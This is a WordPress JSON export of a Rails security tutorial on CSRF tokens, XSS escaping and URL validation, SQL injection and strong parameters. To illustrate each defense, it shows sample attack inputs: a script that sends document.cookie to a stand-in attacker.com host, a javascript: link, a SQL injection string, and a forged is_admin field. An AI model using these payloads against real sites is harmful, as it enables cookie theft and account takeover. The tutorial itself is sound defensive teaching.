{"id":14372,"date":"2016-08-11T12:15:49","date_gmt":"2016-08-11T09:15:49","guid":{"rendered":"https:\/\/www.webcodegeeks.com\/?p=14372"},"modified":"2016-08-10T14:24:38","modified_gmt":"2016-08-10T11:24:38","slug":"level-security-rails","status":"publish","type":"post","link":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/","title":{"rendered":"Level Up Your Security in Rails"},"content":{"rendered":"<p>I am not a security expert, and the truth is that most other developers aren\u2019t either. I haven\u2019t created my own hashing or encryption algorithm, I don\u2019t know the inner workings of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Transport_Layer_Security\">TLS<\/a>, nor the different ciphers that are available, but that doesn\u2019t give me a free pass when it comes to protecting my users and their data.<\/p>\n<p>One amazing benefit to using a framework like Rails is that it pays a great deal of <a href=\"http:\/\/rubyonrails.org\/security\/\">attention to security vulnerabilities<\/a> and comes with a lot of secure features and defaults right out of the box. Today we\u2019re going to touch on some of these features and discuss what they do, why they\u2019re important, and how they\u2019re used to implement security in Rails.<\/p>\n<h2>Do You Trust Your Users?<\/h2>\n<p>You shouldn\u2019t! I bet most of your users are lovely people, but the truth is that it only takes one malicious user to spoil everything. And user input doesn\u2019t just come in the form of\u2026 well, form data. User input is anything that comes via an HTTP request:<\/p>\n<ul>\n<li>form data<\/li>\n<li>query params<\/li>\n<li>headers (referrers, user-agents, cookies)<\/li>\n<li>etc\u2026<\/li>\n<\/ul>\n<p>This is really where web security begins: user input. In the following sections, we\u2019ll cover some different topics like <a href=\"https:\/\/en.wikipedia.org\/wiki\/Cross-site_request_forgery\">CSRF attacks<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Cross-site_scripting\">XSS attacks<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/SQL_injection\">SQL injection<\/a>, parameter injection, and what Rails does to protect us. We\u2019ll also look at where we\u2019ll have to do our part too.<\/p>\n<h2>CSRF Attacks<\/h2>\n<p>Cross Site Request Forgery (CSRF) attacks happen when a user is authenticated on Site A (let\u2019s say this is your site) and, while browsing Site B (some sketchy other site), they get tricked into making a request to Site A to modify or change some information about their account: transferring money, changing email and password, posting a comment, and so on.<\/p>\n<p>There are a couple things you can do when designing your Rails application to help protect your users against CSRF attacks. The first way is to properly use RESTful routing. What this means is that your <code>GET<\/code> requests are only used for fetching information, and you rely on <code>POST<\/code> or <code>PUT<\/code> requests for creating or changing information. <code>GET<\/code> <a href=\"https:\/\/en.wikipedia.org\/wiki\/Hypertext_Transfer_Protocol#Safe_methods\">requests are known to be \u201csafe\u201d<\/a>, and because of this, Rails doesn\u2019t actually bother verifying the request.<\/p>\n<p>We can see this by looking at the method in Rails that\u2019s in charge of verifying a request:<\/p>\n<pre class=\"brush:php\"># Returns true or false if a request is verified. Checks:\r\n#\r\n# * Is it a GET or HEAD request?  Gets should be safe and idempotent\r\n# * Does the form_authenticity_token match the given token value from the params?\r\n# * Does the X-CSRF-Token header match the form_authenticity_token\r\ndef verified_request?\r\n  !protect_against_forgery? || request.get? || request.head? ||\r\n    (valid_request_origin? &amp;&amp; any_authenticity_token_valid?)\r\nend<\/pre>\n<p>If Rails sees that the request is <code>GET<\/code>, it just assumes that things are okay. So you should never have an important action \u2014 like deleting a user\u2019s account, transferring money, or adding a comment \u2014 routed as a <code>GET<\/code> request.<\/p>\n<p><code>POST<\/code> requests on the other hand are required by default in Rails to contain a valid CSRF token, which is tied to the user\u2019s session. There are a couple ways for your app to send a valid CSRF token to Rails. The first is the easiest: If you use the <code>form_for<\/code> helper (or <code>simple_form_for<\/code>), it will automatically include a hidden field containing the CSRF token which will be posted along with the rest of the form\u2019s details:<\/p>\n<p><code>&lt;%= form_for(country) do |f| %&gt;<br \/>\n&lt;!-- form contents --&gt;<br \/>\n&lt;% end %&gt;<\/code><\/p>\n<p>This ends up producing HTML that includes a hidden field:<\/p>\n<p><code>&lt;form class=\"new_country\" id=\"new_country\" action=\"\/countries\" accept-charset=\"UTF-8\" method=\"post\"&gt;<br \/>\n&lt;input name=\"utf8\" type=\"hidden\" value=\"\u2713\" \/&gt;<br \/>\n&lt;input type=\"hidden\" name=\"authenticity_token\" value=\"40tcBvMQEOeKam1NuZaP1jgm96ljhBouYL6aigt1jsaszXQCgjh5zWn3U+d9ZG2E3f2Ew2dKliLczOJI21KNEA==\" \/&gt;<br \/>\n&lt;!-- form contents --&gt;<br \/>\n&lt;\/form&gt;<\/code><\/p>\n<p>But what if you submit your form with AJAX? There\u2019s a way to handle that too! And no, the solution is not to run <code>skip_before_action :verify_authenticity_token<\/code> and bypass verification all together. The correct way is to grab the information from a meta tag which looks like:<\/p>\n<p><code>&lt;meta name=\"csrf-param\" content=\"authenticity_token\" \/&gt;<br \/>\n&lt;meta name=\"csrf-token\" content=\"ry4B\/2Ql+EmpsEEwgpUltYzOPIZuWtkG4u34JfOg68YQ+hHNOgZVZUAVycbLBeErn\/943uR1fOp\/a5wAPj\/h0w==\" \/&gt;<\/code><\/p>\n<p>These meta tags were generated in your layout file with the following helper:<\/p>\n<p><code>&lt;!DOCTYPE html&gt;<br \/>\n&lt;html&gt;<br \/>\n&lt;head&gt;<br \/>\n&lt;%= csrf_meta_tags %&gt;<br \/>\n&lt;!-- etc... --&gt;<br \/>\n&lt;\/head&gt;<\/code><\/p>\n<p>We can include it along with our AJAX POST request as a header with the name <code>X-CSRF-Token<\/code>. Here is an example:<\/p>\n<pre class=\"brush:php\">var token = document.querySelector(\"meta[name='csrf-token']\").content;\r\n\r\nfetch('\/countries', {\r\n  method: 'POST',\r\n  headers: {\r\n    'X-CSRF-Token': token,\r\n    'Accept': 'application\/json',\r\n    'Content-Type': 'application\/json'\r\n  },\r\n  body: JSON.stringify({\r\n    country: {\r\n      name: 'Canada',\r\n      continent: 'North America',\r\n      population: 35160000\r\n    }\r\n  }),\r\n  credentials: 'same-origin'\r\n}).then(function(response) {\r\n  return response.json()\r\n}).then(function(json) {\r\n  console.log(json)\r\n});<\/pre>\n<p>Here\u2019s a gotcha that messed me up for longer than I care to admit (okay, almost two hours). The example above was failing and giving me an <code>ActionController::InvalidAuthenticityToken<\/code> exception until I added in the line <code>credentials: 'same-origin'<\/code>. Unlike our good old friend jQuery, this new <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Fetch_API\/Using_Fetch\">fetch<\/a> method for making AJAX requests does not send cookies by default. Because of this, the session cookie was not being sent to the server, making it appear as though my CSRF token was invalid.<\/p>\n<p>The same example in jQuery is below. Notice that I didn\u2019t have to send the same <code>X-CSRF-Token<\/code> as I did in the <code>fetch<\/code> example above. This is because, if you\u2019re using the <code>jquery-rails<\/code> Gem, they\u2019re automatically adding that token for you. If you look at the request in the browser dev tools, you\u2019ll notice that the header is in fact being sent correctly.<\/p>\n<pre class=\"brush:php\">$.ajax({\r\n  url: '\/countries',\r\n  type: 'post',\r\n  data: {\r\n    country: {\r\n      name: 'Canada',\r\n      continent: 'North America',\r\n      population: 35160000\r\n    }\r\n  },\r\n  dataType: 'json',\r\n  success: function (data) {\r\n    console.info(data);\r\n  }\r\n});<\/pre>\n<p>For a great overview on the basics of CSRF, check out <a href=\"https:\/\/www.youtube.com\/watch?v=vRBihr41JTo\">this video on YouTube<\/a>.<\/p>\n<h2>XSS Attacks<\/h2>\n<p>XSS, or Cross Site Scripting, attacks revolve around a user figuring out a way to provide input to the website that contains some sort of malicious JavaScript code which ends up being displayed to other users and is executed.<\/p>\n<h3>Avoiding embedded scripts in user output<\/h3>\n<p>One great way that Rails helps us avoid XSS attacks is by not outputting user input as HTML unless we explicitly call a method indicating that it is safe to output as HTML.<\/p>\n<p>If I try to enter the name of a country as:<\/p>\n<p><code>&lt;script&gt;alert('hello');&lt;\/script&gt;<\/code><\/p>\n<p>It ends up coming out as:<\/p>\n<p><code>&amp;lt;script&amp;gt;alert('hello');&amp;lt;\/script&amp;gt;<\/code><\/p>\n<p>Awesome! That\u2019s because 99 percent of the time user input should not in fact contain any HTML or JavaScript, and if it does, you want to avoid outputting it as such. If we\u2019re sure we trust the user, we can indicate that it is safe by using the following code:<\/p>\n<p><code>&lt;p&gt;<br \/>\n&lt;strong&gt;Name:&lt;\/strong&gt;<br \/>\n&lt;%= @country.name.html_safe %&gt;<br \/>\n&lt;\/p&gt;<\/code><\/p>\n<p>If there are circumstances where you want to allow the user to enter a limited set of HTML tags (with a limited set of attributes), you can use the <code>sanitize<\/code> helper:<\/p>\n<p><code>&lt;p&gt;<br \/>\n&lt;strong&gt;Name:&lt;\/strong&gt;<br \/>\n&lt;%= sanitize @country.name, tags: %w(strong em) %&gt;<br \/>\n&lt;\/p&gt;<\/code><\/p>\n<p>This will strip out unwanted tags and give you only what their inner text contains. Under the hood, Rails is using the <a href=\"https:\/\/github.com\/flavorjones\/loofah\">Loofah<\/a> Gem to sanitize the HTML. The only other alternative to Loofah is the <a href=\"https:\/\/github.com\/rgrove\/sanitize\/\">Sanitize<\/a> Gem, which also relies on <a href=\"http:\/\/www.nokogiri.org\/\">Nokogiri<\/a>. So if you\u2019re wondering why Rails happens to come with Nokogiri, this is why.<\/p>\n<h3>Avoiding embedded scripts in URL fields<\/h3>\n<p>Another way XSS attacks can happen is when a user is asked to provide a URL but they provide JavaScript instead\u2026 which happens to be valid in HTML but is certainly not what we want to happen.<\/p>\n<p><code>&lt;p&gt;<br \/>\n&lt;strong&gt;Website:&lt;\/strong&gt;<br \/>\n&lt;a href=\"javascript:alert('hello');\"&gt;Learn More&lt;\/a&gt;<br \/>\n&lt;\/p&gt;<\/code><\/p>\n<p>Pretty harmless, but looking at the example found on the Rails Security page, you can see how this could be changed to write an <code>img<\/code> tag. When fetched, it would send your cookies to another website.<\/p>\n<p><code>&lt;script&gt;document.write('&lt;img src=\"http:\/\/www.attacker.com\/' + document.cookie + '\"&gt;');&lt;\/script&gt;<\/code><\/p>\n<p>What we should have done to stop this from happening at all is validate that the input coming from our user is in fact a valid URL.<\/p>\n<pre class=\"brush:php\">require 'uri'\r\n\r\nclass Country &lt; ApplicationRecord\r\n  validate :validate_url\r\n\r\n  private\r\n\r\n  def validate_url\r\n    return if website_url.blank?\r\n    unless valid_url? website_url\r\n      errors.add :website_url, \"please provide valid URL\"\r\n    end\r\n  end\r\n\r\n  def valid_url?(url)\r\n    uri = URI.parse url\r\n    uri.kind_of? URI::HTTP\r\n  rescue URI::InvalidURIError\r\n    false\r\n  end<\/pre>\n<p>This in turn could be extracted into a custom Rails validator so that it can be used across other models whenever we need to validate that a field contains a valid URL.<\/p>\n<h2>SQL Injection Attacks<\/h2>\n<p>SQL Injection is a technique where the malicious user attempts to overload or escape user input to manipulate the SQL which eventually gets executed against the database. To give a very simple example:<\/p>\n<pre class=\"brush:php\"># Nice user provides only the correct input\r\nname = 'Canada'\r\nCountry.where(\"name = '#{name}'\")\r\n\r\n# malicious user tricks us into finding all countries\r\nname = \"Canada' OR 'cat' = 'cat\"\r\nCountry.where(\"name = '#{name}'\")<\/pre>\n<p>On the second query, the SQL that was generated contains an <code>OR<\/code> statement which always evaluates to true, finding all records from the database.<\/p>\n<pre class=\"brush:php\">SELECT \"countries\".* FROM \"countries\" WHERE (name = 'Canada' OR 'cat' = 'cat')<\/pre>\n<p>Going along with our theme of never trusting user input, we should never directly inject user input into a SQL statement. By simply working with the <code>where<\/code> method in Active Record the correct way, it would have properly queried the database and avoided the additional <code>OR<\/code> statement:<\/p>\n<pre class=\"brush:php\">Country.where(name: name)\r\n#&lt;ActiveRecord::Relation []&gt;<\/pre>\n<p>This produces the following SQL in the console:<\/p>\n<p><code>SELECT \"countries\".* FROM \"countries\" WHERE \"countries\".\"name\" = ? [[\"name\", \"Canada' OR 'cat' = 'cat\"]]<\/code><\/p>\n<p>The important thing to keep in mind is that there are a few <code>ActiveRecord<\/code> query methods that are more trusting of user input than others. Some of them, along with their potential attacks, are <a href=\"http:\/\/rails-sqli.org\/\">outlined on the following page<\/a>.<\/p>\n<h2>Parameter Injection Attacks<\/h2>\n<p>Let\u2019s say that a <code>User<\/code> has a field called <code>is_admin<\/code> to control whether they have access to modify sensitive information or gain access to an admin panel. What if, when editing their email, password, name, etc., they modify the HTML to add an extra field? This is submitted:<\/p>\n<p><code>&lt;input type=\"hidden\" name=\"user[is_admin]\" value=\"1\"&gt;<\/code><\/p>\n<p>The hopeful answer is that nothing at all will happen, even though that information would be submitted to our Rails app and under normal circumstances it would be updated when you call <code>current_user.update(user_params)<\/code>. But this isn\u2019t something that will happen on our website because we\u2019ve used <code>Strong Params<\/code> to dictate exactly which fields are required and which fields the user is permitted to modify.<\/p>\n<pre class=\"brush:php\">def user_params\r\n  params.require(:user).permit(:name, :email, :password)\r\nend<\/pre>\n<h2>Conclusion<\/h2>\n<p>We\u2019ve only scratched the surface in terms of some of the different techniques and ways that Rails helps us protect ourselves and our users. For more information, you can explore the subjects located on the <a href=\"http:\/\/guides.rubyonrails.org\/security.html\">Rails Security<\/a> page.<\/p>\n<p>Rails is about as secure as a web framework could be. What this <em>doesn\u2019t<\/em> mean is that the developer has no responsibility to ensure that their users and data are protected. Still, I\u2019m very thankful for the Rails security team and the work they do \u2014 all of the topics (and more!) that we\u2019ve covered in this article would be issues that I would have to deal with one by one if I were building a web framework from scratch.<\/p>\n<div class=\"attribution\">\n<table>\n<tbody>\n<tr>\n<td><span class=\"reference\">Reference: <\/span><\/td>\n<td><a href=\"https:\/\/blog.codeship.com\/level-up-your-security-in-rails\/\">Level Up Your Security in Rails<\/a> from our <a href=\"http:\/\/www.webcodegeeks.com\/join-us\/wcg\/\">WCG partner<\/a> Leigh Halliday at the <a href=\"http:\/\/blog.codeship.com\/\">Codeship Blog<\/a> blog.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>I am not a security expert, and the truth is that most other developers aren\u2019t either. I haven\u2019t created my own hashing or encryption algorithm, I don\u2019t know the inner workings of TLS, nor the different ciphers that are available, but that doesn\u2019t give me a free pass when it comes to protecting my users &hellip;<\/p>\n","protected":false},"author":113,"featured_media":4127,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[95,387],"class_list":["post-14372","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ruby","tag-rails","tag-security"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Level Up Your Security in Rails - Web Code Geeks - 2026<\/title>\n<meta name=\"description\" content=\"I am not a security expert, and the truth is that most other developers aren\u2019t either. I haven\u2019t created my own hashing or encryption algorithm, I don\u2019t\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Level Up Your Security in Rails - Web Code Geeks - 2026\" \/>\n<meta property=\"og:description\" content=\"I am not a security expert, and the truth is that most other developers aren\u2019t either. I haven\u2019t created my own hashing or encryption algorithm, I don\u2019t\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/\" \/>\n<meta property=\"og:site_name\" content=\"Web Code Geeks\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/webcodegeeks\" \/>\n<meta property=\"article:published_time\" content=\"2016-08-11T09:15:49+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"150\" \/>\n\t<meta property=\"og:image:height\" content=\"150\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Leigh Halliday\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@leighchalliday\" \/>\n<meta name=\"twitter:site\" content=\"@webcodegeeks\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Leigh Halliday\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/\"},\"author\":{\"name\":\"Leigh Halliday\",\"@id\":\"https:\/\/www.webcodegeeks.com\/#\/schema\/person\/e496b17f78cdca27723b8e225dc6ab6b\"},\"headline\":\"Level Up Your Security in Rails\",\"datePublished\":\"2016-08-11T09:15:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/\"},\"wordCount\":1537,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg\",\"keywords\":[\"Rails\",\"Security\"],\"articleSection\":[\"Ruby\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/\",\"url\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/\",\"name\":\"Level Up Your Security in Rails - Web Code Geeks - 2026\",\"isPartOf\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg\",\"datePublished\":\"2016-08-11T09:15:49+00:00\",\"description\":\"I am not a security expert, and the truth is that most other developers aren\u2019t either. I haven\u2019t created my own hashing or encryption algorithm, I don\u2019t\",\"breadcrumb\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#primaryimage\",\"url\":\"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg\",\"contentUrl\":\"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg\",\"width\":150,\"height\":150},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.webcodegeeks.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Ruby\",\"item\":\"https:\/\/www.webcodegeeks.com\/category\/ruby\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Level Up Your Security in Rails\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.webcodegeeks.com\/#website\",\"url\":\"https:\/\/www.webcodegeeks.com\/\",\"name\":\"Web Code Geeks\",\"description\":\"Web Developers Resource Center\",\"publisher\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.webcodegeeks.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.webcodegeeks.com\/#organization\",\"name\":\"Exelixis Media P.C.\",\"url\":\"https:\/\/www.webcodegeeks.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.webcodegeeks.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2022\/06\/exelixis-logo.png\",\"contentUrl\":\"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2022\/06\/exelixis-logo.png\",\"width\":864,\"height\":246,\"caption\":\"Exelixis Media P.C.\"},\"image\":{\"@id\":\"https:\/\/www.webcodegeeks.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/webcodegeeks\",\"https:\/\/x.com\/webcodegeeks\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.webcodegeeks.com\/#\/schema\/person\/e496b17f78cdca27723b8e225dc6ab6b\",\"name\":\"Leigh Halliday\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.webcodegeeks.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/bd40251a1acc424c292c35a3485264a801efa20efa7063c3e320a0a354ddafac?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/bd40251a1acc424c292c35a3485264a801efa20efa7063c3e320a0a354ddafac?s=96&d=mm&r=g\",\"caption\":\"Leigh Halliday\"},\"description\":\"Leigh is a developer at theScore. He writes about Ruby, Rails, and software development on his personal site.\",\"sameAs\":[\"http:\/\/www.leighhalliday.com\/\",\"https:\/\/x.com\/leighchalliday\"],\"url\":\"https:\/\/www.webcodegeeks.com\/author\/leigh-halliday\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Level Up Your Security in Rails - Web Code Geeks - 2026","description":"I am not a security expert, and the truth is that most other developers aren\u2019t either. I haven\u2019t created my own hashing or encryption algorithm, I don\u2019t","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/","og_locale":"en_US","og_type":"article","og_title":"Level Up Your Security in Rails - Web Code Geeks - 2026","og_description":"I am not a security expert, and the truth is that most other developers aren\u2019t either. I haven\u2019t created my own hashing or encryption algorithm, I don\u2019t","og_url":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/","og_site_name":"Web Code Geeks","article_publisher":"https:\/\/www.facebook.com\/webcodegeeks","article_published_time":"2016-08-11T09:15:49+00:00","og_image":[{"width":150,"height":150,"url":"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg","type":"image\/jpeg"}],"author":"Leigh Halliday","twitter_card":"summary_large_image","twitter_creator":"@leighchalliday","twitter_site":"@webcodegeeks","twitter_misc":{"Written by":"Leigh Halliday","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#article","isPartOf":{"@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/"},"author":{"name":"Leigh Halliday","@id":"https:\/\/www.webcodegeeks.com\/#\/schema\/person\/e496b17f78cdca27723b8e225dc6ab6b"},"headline":"Level Up Your Security in Rails","datePublished":"2016-08-11T09:15:49+00:00","mainEntityOfPage":{"@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/"},"wordCount":1537,"commentCount":0,"publisher":{"@id":"https:\/\/www.webcodegeeks.com\/#organization"},"image":{"@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#primaryimage"},"thumbnailUrl":"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg","keywords":["Rails","Security"],"articleSection":["Ruby"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/","url":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/","name":"Level Up Your Security in Rails - Web Code Geeks - 2026","isPartOf":{"@id":"https:\/\/www.webcodegeeks.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#primaryimage"},"image":{"@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#primaryimage"},"thumbnailUrl":"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg","datePublished":"2016-08-11T09:15:49+00:00","description":"I am not a security expert, and the truth is that most other developers aren\u2019t either. I haven\u2019t created my own hashing or encryption algorithm, I don\u2019t","breadcrumb":{"@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#primaryimage","url":"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg","contentUrl":"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2015\/04\/rubyonrails-logo.jpg","width":150,"height":150},{"@type":"BreadcrumbList","@id":"https:\/\/www.webcodegeeks.com\/ruby\/level-security-rails\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.webcodegeeks.com\/"},{"@type":"ListItem","position":2,"name":"Ruby","item":"https:\/\/www.webcodegeeks.com\/category\/ruby\/"},{"@type":"ListItem","position":3,"name":"Level Up Your Security in Rails"}]},{"@type":"WebSite","@id":"https:\/\/www.webcodegeeks.com\/#website","url":"https:\/\/www.webcodegeeks.com\/","name":"Web Code Geeks","description":"Web Developers Resource Center","publisher":{"@id":"https:\/\/www.webcodegeeks.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.webcodegeeks.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.webcodegeeks.com\/#organization","name":"Exelixis Media P.C.","url":"https:\/\/www.webcodegeeks.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.webcodegeeks.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2022\/06\/exelixis-logo.png","contentUrl":"https:\/\/www.webcodegeeks.com\/wp-content\/uploads\/2022\/06\/exelixis-logo.png","width":864,"height":246,"caption":"Exelixis Media P.C."},"image":{"@id":"https:\/\/www.webcodegeeks.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/webcodegeeks","https:\/\/x.com\/webcodegeeks"]},{"@type":"Person","@id":"https:\/\/www.webcodegeeks.com\/#\/schema\/person\/e496b17f78cdca27723b8e225dc6ab6b","name":"Leigh Halliday","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.webcodegeeks.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/bd40251a1acc424c292c35a3485264a801efa20efa7063c3e320a0a354ddafac?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/bd40251a1acc424c292c35a3485264a801efa20efa7063c3e320a0a354ddafac?s=96&d=mm&r=g","caption":"Leigh Halliday"},"description":"Leigh is a developer at theScore. He writes about Ruby, Rails, and software development on his personal site.","sameAs":["http:\/\/www.leighhalliday.com\/","https:\/\/x.com\/leighchalliday"],"url":"https:\/\/www.webcodegeeks.com\/author\/leigh-halliday\/"}]}},"_links":{"self":[{"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/posts\/14372","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/users\/113"}],"replies":[{"embeddable":true,"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/comments?post=14372"}],"version-history":[{"count":0,"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/posts\/14372\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/media\/4127"}],"wp:attachment":[{"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/media?parent=14372"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/categories?post=14372"},{"